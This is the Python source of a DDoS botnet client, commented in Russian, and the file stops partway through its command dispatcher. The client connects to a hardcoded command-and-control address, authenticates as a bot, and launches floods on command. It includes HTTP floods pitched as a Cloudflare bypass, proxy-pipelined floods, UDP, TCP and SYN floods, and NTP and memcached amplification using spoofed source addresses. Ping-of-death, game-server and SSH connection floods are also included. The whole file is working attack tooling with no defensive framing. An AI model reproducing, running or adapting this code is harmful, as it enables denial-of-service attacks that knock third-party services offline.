import socket, threading, time, random, cloudscraper, requests, struct, os, sys, socks, ssl
from struct import pack as data_pack
from multiprocessing import Process
from urllib.parse import urlparse
from scapy.all import IP, UDP, Raw, ICMP, send
from scapy.layers.inet import IP
from scapy.layers.inet import TCP
from typing import Any, List, Set, Tuple
from uuid import UUID, uuid4
from icmplib import ping as pig
from scapy.layers.inet import UDP
import paramiko
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

KRYPTONC2_ADDRESS = "87.120.186.209"
KRYPTONC2_PORT = 9069

# Глобальный флаг для остановки всех атак
stop_attacks = False

# Максимальные настройки как у Cloudflare Bypass
MAX_HTTP_CONFIG = {
    'connections_per_interval': 2000,      # максимально для 1 CPU
    'requests_per_connection': 500,        # высокий RPS
    'max_active_connections': 1500,        # максимум для 2GB RAM
    'connection_timeout': 4,               # минимальный таймаут
    'keep_alive_time': 1,                  # быстрые переподключения
    'interval_time': 0.1,                  # минимальная задержка
    'max_rps': 5000
}

base_user_agents = [
    'Mozilla/%.1f (Windows; U; Windows NT {0}; en-US; rv:%.1f.%.1f) Gecko/%d0%d Firefox/%.1f.%.1f'.format(random.uniform(5.0, 10.0)),
    'Mozilla/%.1f (Windows; U; Windows NT {0}; en-US; rv:%.1f.%.1f) Gecko/%d0%d Chrome/%.1f.%.1f'.format(random.uniform(5.0, 10.0)),
    'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Safari/%.1f.%.1f',
    'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Chrome/%.1f.%.1f',
    'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Firefox/%.1f.%.1f',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
]

class CloudflareStyleAttacker:
    def __init__(self):
        self.config = MAX_HTTP_CONFIG.copy()
        self.active_connections = 0
        self.total_requests = 0
        self.start_time = time.time()
        self.last_stats = {'requests': 0, 'time': self.start_time}
        self.cookie = "cf_clearance=fallback_token"
        self.user_agent = random.choice(base_user_agents)
        self.running = True
        self.lock = threading.Lock()
        
        # User-Agents pool как у CloudflareBypass
        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
        ]

    def rand_ua(self):
        return random.choice(self.user_agents)

    def calculate_current_rps(self):
        """Calculate current requests per second как у CloudflareBypass"""
        now = time.time()
        elapsed = now - self.last_stats['time']
        
        if elapsed >= 1:
            with self.lock:
                self.last_stats['requests'] = self.total_requests
                self.last_stats['time'] = now
        
        current_requests = self.total_requests - self.last_stats['requests']
        return int(current_requests / max(elapsed, 0.1))

    def create_socket_connection(self, host, port=80):
        """Create and manage socket connection как у CloudflareBypass"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.config['connection_timeout'])
            
            if port == 443:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                sock = context.wrap_socket(sock, server_hostname=host)
            
            sock.connect((host, port))
            return sock
        except Exception:
            return None

    def send_requests(self, target, custom_headers=None):
        """Send multiple requests through a single connection как у CloudflareBypass"""
        parsed_url = urlparse(target)
        host = parsed_url.hostname
        port = parsed_url.port or (443 if parsed_url.scheme == 'https' else 80)
        path = parsed_url.path or '/'

        current_rps = self.calculate_current_rps()
        if current_rps > self.config['max_rps']:
            return
            
        with self.lock:
            if self.active_connections >= self.config['max_active_connections']:
                return
            self.active_connections += 1

        try:
            sock = self.create_socket_connection(host, port)
            if not sock:
                return

            # Prepare request payload как у CloudflareBypass
            requests_to_send = min(
                self.config['requests_per_connection'],
                max(1, (self.config['max_rps'] - current_rps) // 10)
            )

            request_payload = ""
            for _ in range(requests_to_send):
                # Базовые заголовки как у CloudflareBypass
                headers = {
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
                    'User-Agent': self.user_agent,
                    'Upgrade-Insecure-Requests': '1',
                    'Cookie': self.cookie,
                    'Accept-Encoding': 'gzip, deflate',
                    'Accept-Language': 'en-US,en;q=0.9',
                    'Cache-Control': 'max-age=0',
                    'Connection': 'keep-alive'
                }
                
                # Добавляем Host и кастомные заголовки
                headers['Host'] = host
                if custom_headers:
                    headers.update(custom_headers)
                
                # Формируем HTTP запрос
                request_packet = f"GET {path} HTTP/1.1\r\n"
                for key, value in headers.items():
                    request_packet += f"{key}: {value}\r\n"
                request_packet += "\r\n"
                
                request_payload += request_packet
                
                with self.lock:
                    self.total_requests += 1

            if request_payload:
                sock.send(request_payload.encode())
                
                # Wait for response and keep connection alive как у CloudflareBypass
                try:
                    sock.settimeout(self.config['keep_alive_time'])
                    sock.recv(1024)
                except:
                    pass
                    
        except Exception:
            pass
        finally:
            try:
                sock.close()
            except:
                pass
            with self.lock:
                if self.active_connections > 0:
                    self.active_connections -= 1

    def attack_worker(self, target, duration, custom_headers=None):
        """Main attack loop как у CloudflareBypass"""
        end_time = time.time() + duration
        
        with ThreadPoolExecutor(max_workers=self.config['max_active_connections'] * 2) as executor:
            while time.time() < end_time and self.running and not stop_attacks:
                futures = []
                
                for _ in range(self.config['connections_per_interval']):
                    if self.active_connections < self.config['max_active_connections']:
                        future = executor.submit(self.send_requests, target, custom_headers)
                        futures.append(future)
                
                # Small delay to control rate как у CloudflareBypass
                time.sleep(self.config['interval_time'])
                
                # Clean completed futures
                for future in as_completed(futures):
                    try:
                        future.result(timeout=1)
                    except:
                        pass

    def print_stats(self):
        """Print performance statistics как у CloudflareBypass"""
        while self.running:
            current_rps = self.calculate_current_rps()
            elapsed = time.time() - self.start_time
            average_rps = int(self.total_requests / elapsed) if elapsed > 0 else 0
            
            print(f"Active: {self.active_connections} | Total: {self.total_requests} | "
                  f"Current RPS: {current_rps}/sec | Average: {average_rps}/sec")
            
            time.sleep(2)

# Глобальный атакер для всех HTTP методов
cf_style_attacker = CloudflareStyleAttacker()

def spoofer():
    addr = [192, 168, 0, 1]
    d = '.'
    addr[0] = str(random.randrange(11, 197))
    addr[1] = str(random.randrange(0, 255))
    addr[2] = str(random.randrange(0, 255))
    addr[3] = str(random.randrange(2, 254))
    assemebled = addr[0] + d + addr[1] + d + addr[2] + d + addr[3]
    return assemebled

def rand_ua():
    chosen_user_agent = random.choice(base_user_agents)
    return chosen_user_agent.format(
        random.random() + 5,
        random.random() + random.randint(1, 8),
        random.random(),
        random.randint(2000, 2100),
        random.randint(92215, 99999),
        random.random() + random.randint(3, 9)
    )

# Все HTTP методы теперь используют Cloudflare-style атакер
def CFB(url, port, secs):
    """Cloudflare Bypass с оригинальными заголовками"""
    global stop_attacks
    target = f"{url}:{port}" if port else url
    custom_headers = {
        'X-Forwarded-Proto': 'Http',
        'X-Forwarded-Host': f"{urlparse(url).netloc}, 1.1.1.1",
        'Via': spoofer(),
        'Client-IP': spoofer(),
        'X-Forwarded-For': spoofer(),
        'Real-IP': spoofer()
    }
    
    # Запускаем статистику как у CloudflareBypass
    stats_thread = threading.Thread(target=cf_style_attacker.print_stats, daemon=True)
    stats_thread.start()
    
    cf_style_attacker.attack_worker(target, int(secs), custom_headers)

def STORM_attack(ip, port, secs):
    """STORM атака с Cloudflare-style мощью"""
    global stop_attacks
    target = f"{ip}:{port}" if port else ip
    
    def storm_worker():
        end_time = time.time() + int(secs)
        while time.time() < end_time and not stop_attacks:
            # GET запросы
            headers_get = {'User-Agent': cf_style_attacker.rand_ua()}
            # HEAD запросы  
            headers_head = {'User-Agent': cf_style_attacker.rand_ua()}
            
            cf_style_attacker.send_requests(target, headers_get)
            cf_style_attacker.send_requests(target, headers_head)
    
    # Запускаем воркеры
    threads = []
    for _ in range(5):  # Уменьшил количество для стабильности
        t = threading.Thread(target=storm_worker, daemon=True)
        t.start()
        threads.append(t)
    
    end_time = time.time() + int(secs)
    while time.time() < end_time and not stop_attacks:
        time.sleep(0.1)

def GET_attack(ip, port, secs):
    """GET атака с Cloudflare-style мощью"""
    global stop_attacks
    target = f"{ip}:{port}" if port else ip
    cf_style_attacker.attack_worker(target, int(secs))

def httpSpoofAttack(url, timer):
    """Spoof атака с Cloudflare-style мощью"""
    global stop_attacks
    # Создаем спуфинг заголовки
    spoof_headers = {
        'X-Forwarded-Proto': 'Http',
        'X-Forwarded-Host': f"{urlparse(url).netloc}, 1.1.1.1",
        'Via': spoofer(),
        'Client-IP': spoofer(), 
        'X-Forwarded-For': spoofer(),
        'Real-IP': spoofer(),
        'Connection': 'Keep-Alive'
    }
    
    cf_style_attacker.attack_worker(url, int(timer), spoof_headers)

def attack_privflood(target_url, duration_sec, dummy_threads=1):
    """PRIVFLOOD — raw socket + SOCKS5 + pipelining ×500 — max RPS"""
    global stop_attacks
    
    # Разбор URL
    parsed = urlparse(target_url)
    HOST = parsed.hostname
    if not HOST:
        return
    PORT = parsed.port or (443 if parsed.scheme == "https" else 80)
    PATH = parsed.path or "/"
    
    # Загрузка прокси
    try:
        with open("proxies.txt") as f:
            raw = [p.strip() for p in f if p.strip()]
        PROXIES = []
        for p in raw:
            cred, host = p.split('@')
            login, pwd = cred.split(':')
            ip, port = host.split(':')
            PROXIES.append((ip, int(port), login, pwd))
    except:
        return

    if not PROXIES:
        return

    # HTTP-запрос (минималистичный)
    REQUEST = (
        f"GET {PATH} HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n"
        f"Accept: */*\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode()
    
    pipelined = REQUEST * 500  # 500 запросов за раз

    total_sent = 0
    running = True

    def worker(proxy):
        nonlocal total_sent, running
        ip, proxy_port, user, pwd = proxy
        while running and not stop_attacks:
            try:
                s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
                s.set_proxy(socks.SOCKS5, ip, proxy_port, username=user, password=pwd)
                s.settimeout(3)
                s.connect((HOST, PORT))
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

                if PORT == 443:
                    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
                    ctx.check_hostname = False
                    ctx.verify_mode = ssl.CERT_NONE
                    s = ctx.wrap_socket(s, server_hostname=HOST)

                s.setblocking(False)
                pos = 0
                while pos < len(pipelined) and running and not stop_attacks:
                    try:
                        sent = s.send(pipelined[pos:])
                        pos += sent
                    except BlockingIOError:
                        time.sleep(0.0001)
                    except:
                        break
                s.close()
                if pos == len(pipelined):
                    total_sent += 500
            except:
                pass

    def stat_printer():
        nonlocal total_sent, running
        start = time.time()
        while running and not stop_attacks:
            time.sleep(2.0)
            elapsed = time.time() - start
            rps = int(total_sent / elapsed) if elapsed > 0 else 0
            print(f"[PRIVFLOOD] RPS: {rps} | Proxies: {len(PROXIES)}")

    # Запуск — 64 потока на прокси
    threads = []
    for proxy in PROXIES:
        for _ in range(64):
            t = threading.Thread(target=worker, args=(proxy,), daemon=True)
            t.start()
            threads.append(t)

    stat_t = threading.Thread(target=stat_printer, daemon=True)
    stat_t.start()

    # Работаем заданное время
    time.sleep(duration_sec)
    running = False
    stop_attacks = True  # останавливаем и другие методы, если нужно

    final_rps = int(total_sent / duration_sec) if duration_sec > 0 else 0
    print(f"[PRIVFLOOD] Finished | Total: {total_sent} | Avg RPS: {final_rps}")

def attack_pps(ip, port, duration_sec, target_pps):
    """PPS — UDP flood с адаптивным масштабированием под целевой PPS"""
    global stop_attacks
    
    THREADS_BASE = os.cpu_count() or 1
    MAX_THREADS = THREADS_BASE * 8
    PAYLOAD = b"\x00" * 8
    
    sent = 0
    stop_local = False
    lock = threading.Lock()
    threads = []
    
    def worker():
        nonlocal sent, stop_local
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.setblocking(False)
        addr = (ip, port)
        while not stop_local and not stop_attacks:
            try:
                # Unrolled 16x for max PPS
                s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr)
                s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr)
                s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr)
                s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr); s.sendto(PAYLOAD, addr)
                with lock:
                    sent += 16
            except:
                pass

    # Launch base threads
    for _ in range(THREADS_BASE):
        t = threading.Thread(target=worker, daemon=True)
        t.start()
        threads.append(t)

    print(f"[→] PPS: {ip}:{port} | Time: {duration_sec}s | Goal: {target_pps:,} PPS")

    start = time.time()
    last_count = 0
    pps_window = []

    while time.time() - start < duration_sec and not stop_attacks:
        time.sleep(1)
        elapsed = time.time() - start
        cur = sent
        pps = cur - last_count
        last_count = cur
        pps_window.append(pps)
        if len(pps_window) > 3:
            pps_window.pop(0)
        avg_pps = sum(pps_window) // len(pps_window) if pps_window else 0

        print(f"[{int(elapsed)}/{duration_sec}] {pps:,} PPS (avg: {avg_pps:,})")

        # Scale up if below 90% target and threads available
        if avg_pps < target_pps * 0.9 and len(threads) < MAX_THREADS:
            t = threading.Thread(target=worker, daemon=True)
            t.start()
            threads.append(t)

    stop_local = True
    time.sleep(0.25)  # flush last packets
    
    final_total = sent
    final_avg = final_total // duration_sec if duration_sec > 0 else 0
    print(f"[✓] DELIVERED: {final_total:,} pkts → {final_avg:,} PPS ({'✓ met' if final_avg >= target_pps else '✗ maxed out'})")

# Оригинальные UDP/TCP методы остаются без изменений
def attack_udp(ip, port, secs, size):
    global stop_attacks
    while time.time() < secs and not stop_attacks:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        dport = random.randint(1, 65535) if port == 0 else port
        data = random._urandom(size)
        s.sendto(data, (ip, dport))

def attack_tcp(ip, port, secs, size):
    global stop_attacks
    while time.time() < secs and not stop_attacks:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((ip, port))
            while time.time() < secs and not stop_attacks:
                s.send(random._urandom(size))
        except:
            pass

def attack_ssh(host, port, username, duration_sec):
    end_time = time.time() + duration_sec
    global stop_attacks

    def worker():
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        password = 'PermenMD_Here'

        while time.time() < end_time and not stop_attacks:
            try:
                client.connect(
                    hostname=host,
                    port=port,
                    username=username,
                    password=password,
                    timeout=2,
                    allow_agent=False,
                    look_for_keys=False
                )
                client.close()
            except:
                pass
            finally:
                try:
                    client.close()
                except:
                    pass

    threads = []
    for _ in range(100):
        if stop_attacks:
            break
        t = threading.Thread(target=worker, daemon=True)
        t.start()
        threads.append(t)

    while time.time() < end_time and not stop_attacks:
        time.sleep(0.1)

# Остальные оригинальные методы
ntp_payload = "\x17\x00\x03\x2a" + "\x00" * 4
def NTP(target, port, timer):
    global stop_attacks
    try:
        with open("ntpServers.txt", "r") as f:
            ntp_servers = f.readlines()
        packets = random.randint(10, 150)
    except:
        pass

    server = random.choice(ntp_servers).strip()
    while time.time() < timer and not stop_attacks:
        try:
            packet = (
                    IP(dst=server, src=target)
                    / UDP(sport=random.randint(1, 65535), dport=int(port))
                    / Raw(load=ntp_payload)
            )
            try:
                for _ in range(150000):
                    if stop_attacks:
                        break
                    send(packet, count=packets, verbose=False)
            except:
                pass
        except:
            pass

mem_payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
def MEM(target, port, timer):
    global stop_attacks
    packets = random.randint(1024, 60000)
    try:
        with open("memsv.txt", "r") as f:
            memsv = f.readlines()
    except:
        pass
    server = random.choice(memsv).strip()
    while time.time() < timer and not stop_attacks:
        try:
            packet = (
                    IP(dst=server, src=target)
                    / UDP(sport=port, dport=11211)
                    / Raw(load=mem_payload)
            )
            for _ in range(150000):
                if stop_attacks:
                    break
                send(packet, count=packets, verbose=False)
        except:
            pass

def icmp(target, timer):
    global stop_attacks
    while time.time() < timer and not stop_attacks:
        try:
            for _ in range(150000):
                if stop_attacks:
                    break
                packet = random._urandom(int(random.randint(1024, 60000)))
                pig(target, count=10, interval=0.2, payload_size=len(packet), payload=packet)
        except:
            pass

def pod(target, timer):
    global stop_attacks
    while time.time() < timer and not stop_attacks:
        try:
            rand_addr = spoofer()
            ip_hdr = IP(src=rand_addr, dst=target)
            packet = ip_hdr / ICMP() / ("m" * 60000)
            send(packet)
        except:
            pass

def attack_tup(ip, port, secs, size):
    global stop_attacks
    while time.time() < secs and not stop_attacks:
        udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        dport = random.randint(1, 65535) if port == 0 else port
        try:
            data = random._urandom(size)
            tcp.connect((ip, port))
            udp.sendto(data, (ip, dport))
            tcp.send(data)
        except:
            pass

def attack_hex(ip, port, secs):
    global stop_attacks
    payload = b'\x55\x55\x55\x55\x00\x00\x00\x01'
    while time.time() < secs and not stop_attacks:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.sendto(payload, (ip, port))
        s.sendto(payload, (ip, port))

def attack_vse(ip, port, secs):
    global stop_attacks
    payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
                b'\x20\x51\x75\x65\x72\x79\x00')  
    while time.time() < secs and not stop_attacks:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.sendto(payload, (ip, port))

def attack_roblox(ip, port, secs, size):
    global stop_attacks
    while time.time() < secs and not stop_attacks:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        bytes = random._urandom(size)
        dport = random.randint(1, 65535) if port == 0 else port
        for _ in range(150000):
            if stop_attacks:
                break
            ran = random.randrange(10 ** 80)
            hex = "%064x" % ran
            hex = hex[:64]
            s.sendto(bytes.fromhex(hex) + bytes, (ip, dport))

def attack_junk(ip, port, secs):
    global stop_attacks
    payload = b'\x00' * 68
    while time.time() < secs and not stop_attacks:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.sendto(payload, (ip, port))

def attack_SYN(ip, port, secs):
    global stop_attacks
    while time.time() < secs and not stop_attacks:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        flags = 0b0100000
        try:
            s.connect((ip, port))
            pkt = struct.pack('!HHIIBBHHH', 1234, 5678, 0, 1234, flags, 0, 0, 0, 0)
            while time.time() < secs and not stop_attacks:
                s.send(pkt)
        except:
            s.close()

# HTTPIO метод с прокси (оригинальный)
def run(target, proxies, cfbp):
    global stop_attacks
    if stop_attacks:
        return
        
    if cfbp == 0 and len(proxies) > 0:
        proxy = random.choice(proxies)
        proxiedRequest = requests.Session()
        proxiedRequest.proxies = {'http': 'http://' + proxy}
        headers = {'User-Agent': rand_ua()}
        
        try:
            response = proxiedRequest.get(target, headers=headers)
            if response.status_code >= 200 and response.status_code <= 226:
                for _ in range(100):
                    if stop_attacks:
                        break
                    proxiedRequest.get(target, headers=headers)
            else:
                proxies.remove(proxy)
        except:
            if proxy in proxies:
                proxies.remove(proxy)

def thread(target, proxies, cfbp):
    global stop_attacks
    while not stop_attacks:
        run(target, proxies, cfbp)
        time.sleep(1)

def httpio(target, times, threads, attack_type):
    global stop_attacks
    proxies = []
    if attack_type == 'PROXY' or attack_type == 'proxy':
        cfbp = 0
        try:
            proxyscrape_http = requests.get('https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=50000&country=all&ssl=all&anonymity=all')
            proxy_list_http = requests.get('https://www.proxy-list.download/api/v1/get?type=http')
            raw_github_http = requests.get('https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt')
            proxies = proxyscrape_http.text.replace('\r', '').split('\n')
            proxies += proxy_list_http.text.replace('\r', '').split('\n')
            proxies += raw_github_http.text.replace('\r', '').split('\n')
        except:
            pass

    elif attack_type == 'NORMAL' or attack_type == 'normal':
        cfbp = 1
        try:
            proxyscrape_http = requests.get('https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=50000&country=all&ssl=all&anonymity=all')
            proxy_list_http = requests.get('https://www.proxy-list.download/api/v1/get?type=http')
            raw_github_http = requests.get('https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt')
            proxies = proxyscrape_http.text.replace('\r', '').split('\n')
            proxies += proxy_list_http.text.replace('\r', '').split('\n')
            proxies += raw_github_http.text.replace('\r', '').split('\n')
        except:
            pass
    
    processes = []
    for _ in range(threads):
        if stop_attacks:
            break
        p = Process(target=thread, args=(target, proxies, cfbp))
        processes.append(p)
        p.start()
    
    end_time = time.time() + times
    while time.time() < end_time and not stop_attacks:
        time.sleep(0.1)
    
    for p in processes:
        try:
            p.terminate()
            p.join()
        except:
            pass

# Оригинальный CloudflareBypass класс
class CloudflareBypass:
    def __init__(self):
        self.config = {
    'connections_per_interval': 2000,      # максимально для 1 CPU
    'requests_per_connection': 500,        # высокий RPS
    'max_active_connections': 1500,        # максимум для 2GB RAM
    'connection_timeout': 4,               # минимальный таймаут
    'keep_alive_time': 1,                  # быстрые переподключения
    'interval_time': 0.1,                  # минимальная задержка
    'max_rps': 5000
        }
        
        self.active_connections = 0
        self.total_requests = 0
        self.start_time = time.time()
        self.last_stats = {'requests': 0, 'time': self.start_time}
        self.cookie = ""
        self.user_agent = ""
        self.running = True
        self.lock = threading.Lock()
        
        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
        ]

    def get_tokens(self, target):
        try:
            session = requests.Session()
            retry = Retry(total=3, backoff_factor=0.5)
            adapter = HTTPAdapter(max_retries=retry)
            session.mount('http://', adapter)
            session.mount('https://', adapter)
            
            response = session.get(
                target,
                headers={
                    'User-Agent': random.choice(self.user_agents),
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                    'Accept-Language': 'en-US,en;q=0.5',
                    'Accept-Encoding': 'gzip, deflate',
                    'Connection': 'keep-alive',
                    'Upgrade-Insecure-Requests': '1'
                },
                timeout=10
            )
            
            if 'cf_clearance' in response.cookies:
                self.cookie = f"cf_clearance={response.cookies['cf_clearance']}"
            else:
                self.cookie = 'cf_clearance=fallback_token'
                
            self.user_agent = response.request.headers.get('User-Agent', random.choice(self.user_agents))
            
        except Exception as e:
            self.cookie = 'cf_clearance=fallback_token'
            self.user_agent = random.choice(self.user_agents)

    def calculate_current_rps(self):
        now = time.time()
        elapsed = now - self.last_stats['time']
        
        if elapsed >= 1:
            with self.lock:
                self.last_stats['requests'] = self.total_requests
                self.last_stats['time'] = now
        
        current_requests = self.total_requests - self.last_stats['requests']
        return int(current_requests / max(elapsed, 0.1))

    def create_socket_connection(self, host, port=80):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.config['connection_timeout'])
            
            if port == 443:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                sock = context.wrap_socket(sock, server_hostname=host)
            
            sock.connect((host, port))
            return sock
            
        except Exception:
            return None

    def send_requests(self, target, host, port):
        if not self.cookie or not self.user_agent:
            return
            
        current_rps = self.calculate_current_rps()
        if current_rps > self.config['max_rps']:
            return
            
        with self.lock:
            if self.active_connections >= self.config['max_active_connections']:
                return
            self.active_connections += 1

        try:
            sock = self.create_socket_connection(host, port)
            if not sock:
                return

            parsed_url = urlparse(target)
            path = parsed_url.path or '/'
            
            requests_to_send = min(
                self.config['requests_per_connection'],
                max(1, (self.config['max_rps'] - current_rps) // 10)
            )

            request_payload = ""
            for _ in range(requests_to_send):
                request_payload += (
                    f"GET {path} HTTP/1.1\r\n"
                    f"Host: {host}\r\n"
                    f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n"
                    f"User-Agent: {self.user_agent}\r\n"
                    f"Upgrade-Insecure-Requests: 1\r\n"
                    f"Cookie: {self.cookie}\r\n"
                    f"Accept-Encoding: gzip, deflate\r\n"
                    f"Accept-Language: en-US,en;q=0.9\r\n"
                    f"Cache-Control: max-age=0\r\n"
                    f"Connection: keep-alive\r\n\r\n"
                )
                with self.lock:
                    self.total_requests += 1

            if request_payload:
                sock.send(request_payload.encode())
                
                try:
                    sock.settimeout(self.config['keep_alive_time'])
                    sock.recv(1024)
                except:
                    pass
                    
        except Exception:
            pass
        finally:
            try:
                sock.close()
            except:
                pass
            with self.lock:
                if self.active_connections > 0:
                    self.active_connections -= 1

    def print_stats(self):
        while self.running:
            current_rps = self.calculate_current_rps()
            elapsed = time.time() - self.start_time
            average_rps = int(self.total_requests / elapsed) if elapsed > 0 else 0
            
            print(f"Active: {self.active_connections} | Total: {self.total_requests} | "
                  f"Current RPS: {current_rps}/sec | Average: {average_rps}/sec")
            
            time.sleep(2)

    def start_attack(self, target, duration):
        print(f"Starting CFBYPASS attack on {target} for {duration} seconds")
        
        parsed_url = urlparse(target)
        host = parsed_url.hostname
        port = parsed_url.port or (443 if parsed_url.scheme == 'https' else 80)
        
        self.get_tokens(target)
        
        stats_thread = threading.Thread(target=self.print_stats, daemon=True)
        stats_thread.start()
        
        end_time = time.time() + duration
        with ThreadPoolExecutor(max_workers=self.config['max_active_connections'] * 2) as executor:
            while time.time() < end_time and self.running:
                futures = []
                
                for _ in range(self.config['connections_per_interval']):
                    if self.active_connections < self.config['max_active_connections']:
                        future = executor.submit(self.send_requests, target, host, port)
                        futures.append(future)
                
                time.sleep(self.config['interval_time'])
                
                for future in as_completed(futures):
                    try:
                        future.result(timeout=1)
                    except:
                        pass

        self.running = False
        
        total_duration = time.time() - self.start_time
        final_rps = int(self.total_requests / total_duration) if total_duration > 0 else 0
        
        print(f"\nCFBYPASS Attack finished!")
        print(f"Duration: {total_duration:.2f} seconds")
        print(f"Total requests: {self.total_requests}")
        print(f"Average RPS: {final_rps}/sec")

def attack_cloudflare(target, duration, threads_count):
    global stop_attacks
    attacker = CloudflareBypass()
    attacker.running = not stop_attacks
    
    def worker():
        attacker.start_attack(target, duration)
    
    attack_thread = threading.Thread(target=worker, daemon=True)
    attack_thread.start()
    
    end_time = time.time() + duration
    while time.time() < end_time and not stop_attacks:
        time.sleep(0.1)
    
    attacker.running = False

def main():
    global stop_attacks
    c2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    c2.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
    while 1:
        try:
            c2.connect((KRYPTONC2_ADDRESS, KRYPTONC2_PORT))
            while 1:
                c2.send('669787761736865726500'.encode())
                break
            while 1:
                time.sleep(1)
                data = c2.recv(1024).decode()
                if 'Username' in data:
                    c2.send('BOT'.encode())
                    break
            while 1:
                time.sleep(1)
                data = c2.recv(1024).decode()
                if 'Password' in data:
                    c2.send('\xff\xff\xff\xff\75'.encode('cp1252'))
                    break
            break
        except:
            time.sleep(5)
    while 1:
        try:
            data = c2.recv(1024).decode().strip()
            if not data:
                break
            args = data.split(' ')
            command = args[0].upper()

            stop_attacks = False

            if command == '.UDP':
                ip = args[1]
                port = int(args[2])
                secs = time.time() + int(args[3])
                size = int(args[4])
                threads = int(args[5])
                for _ in range(threads):
                    threading.Thread(target=attack_udp, args=(ip, port, secs, size), daemon=True).start()
            
            elif command == '.TCP':
                ip = args[1]
                port = int(args[2])
                secs = time.time() + int(args[3])
                size = int(args[4])
                threads = int(args[5])
                for _ in range(threads):
                    threading.Thread(target=attack_tcp, args=(ip, port, secs, size), daemon=True).start()

            elif command == '.NTP':
                ip = args[1]
                port = int(args[2])
                timer = time.time() + int(args[3])
                threads = int(args[4])
                for _ in range(threads):
                    threading.Thread(target=NTP, args=(ip, port, timer), daemon=True).start()

            elif command == '.MEM':
                ip = args[1]
                port = int(args[2])
                timer = time.time() + int(args[3])
                threads = int(args[4])
                for _ in range(threads):
                    threading.Thread(target=MEM, args=(ip, port, timer), daemon=True).start()

            elif command == '.ICMP':
                ip = args[1]
                timer = time.time() + int(args[2])
                threads = int(args[3])
                for _ in range(threads):
                    threading.Thread(target=icmp, args=(ip, timer), daemon=True).start()

            elif command == '.POD':
                ip = args[1]
                timer = time.time() + int(args[2])
                threads = int(args[3])
                for _ in range(threads):
                    threading.Thread(target=pod, args=(ip, timer), daemon=True).start()

            elif command == '.TUP':
                ip = args[1]
                port = int(args[2])
                secs = time.time() + int(args[3])
                size = int(args[4])
                threads = int(args[5])
                for _ in range(threads):
                    threading.Thread(target=attack_tup, args=(ip, port, secs, size), daemon=True).start()
            
            elif command == '.HEX':
